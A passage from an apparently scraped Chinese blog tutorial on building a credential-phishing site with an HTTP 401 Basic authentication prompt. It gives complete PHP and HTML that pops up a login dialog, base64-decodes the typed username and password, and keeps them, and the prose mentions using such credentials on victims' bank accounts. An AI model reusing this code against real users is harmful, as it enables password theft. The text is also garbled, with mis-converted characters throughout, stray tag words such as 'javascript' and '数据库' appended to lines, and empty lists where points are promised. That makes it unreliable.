虽然这篇文章的标题是一块儿来写个钓鱼的站点,可是但愿仅仅把它看成饭后的谈资就好,切不可在实际生活中真正的使用。否则,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心作到对应的效果很难,只是做为安全知识的入门学习。
闲话少说,仍是直接进入主题吧。这里是须要实现的一些工具的清单:javascript
工具都准备稳当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。
在Web中钓鱼的方式有不少方式,不过这个名字仍是源自生活,此时联想到在长江边垂钓的场景,滚滚长江东逝水...。
万事俱备只欠东风,工具都准备好了,如今还缺的就是鱼了。鱼从哪里来,天然就是从受害者身上谋取啦。而这里咱们利用1种401认证的方式来钓鱼。php
首先,咱们新建1个index.php
的脚本,其内容相似以下:html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h1>首页</h1> <script type="text/javascript" src="test.php"></script> </body> </html>
内容简单的很,实际上真正有用的就是这么一行:前端
<script type="text/javascript" src="test.php"></script>
咱们使用脚本的方式异步请求php的1个脚本。搞技术的要求能触类旁通,我见过一些信息安全人员,除了会写POC外和使用一些工具外,对应的原理是一窍不懂的。甚至为何能够这样作是一问三不知的。
不少人觉得黑客是群很聪明的人,实际否则,不排除这里面有一些所谓的脚本小子,成天复制搞破坏的。
闲外话仍是少说,若是你以为上面的script标签有点碍眼,你彻底能够换,好比换成link、img等标签彻底都是能够的。这就是触类旁通的能力吧,毕竟真实场景中不多有恰好就那么巧能够被利用的。
而test.php
中的内容相似以下:java
<?php if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){ session_start(); $value = $_SERVER['HTTP_AUTHORIZATION']; $admin = base64_decode(substr($value, 6)); $_SESSION['info'] = $admin; }else{ header("Content-type: text/html; charset=utf-8"); header('WWW-Authenticate: Basic realm="Please enter your username and password!"'); }
咱们判断当前服务器中是否存在键名HTTP_AUTHORIZATION
,若是不存在则直接抛出1个401的认证请求头。而浏览器获取到该401状态后,会自动弹出1个对话框要求使用者输入用户名和密码。
若是使用者按照咱们剧情的安排输入了用户名和密码,那么咱们就成功钓到了1条(人)鱼。
须要注意的是,这里咱们使用的是Basci认证,而不是HTTP中另1个Digest的认证。否则到时传递过来的是MD5的结果,还须要花费时间解密,得不偿失。
眼尖的你可能发现,咱们使用的是Base64解码函数base64_decode
。没错,Basic认证的用户名和密码会使用Base64进行编码,直接获取到其内容进行解码便可,是否是很简单。
在这里,咱们将其存入到session中,以即可以在前端显示,这样就能够看到效果了。而更多状况下,是直接存储到文件或数据库中,接着搞很差就拿着这些帐号去登陆你的银行卡。
为了看出效果,咱们在index.php
中添加以下几行代码:数据库
<?php session_start(); if(array_key_exists("info",$_SESSION)){ $value = $_SESSION['info']; var_dump($value); } ?>
下面是演示的效果过程,首先是访问首页: 浏览器
而后入套,输入本身的用户名和密码: 安全
鱼上钩了,被钓了起来: 服务器
看到,你可能会骂娘了。这么简单的东西,搞得这么神秘兮兮。
实际上,原理的东西老是很简单的,重要是组合利用。若是让本身隐匿的更深一些,还有更具诱惑性才能让猎物上钩。而钓鱼的过程不就是利用以下几个切入点:网络
结果鱼就上钩了。而人之因此会被钓的过程主要仍是以下几个状况:
固然不排除还有其余一些状况,实在想不出来了,脑洞过小。 固然上面这么丑陋的网站,百分百是钓不到鱼的。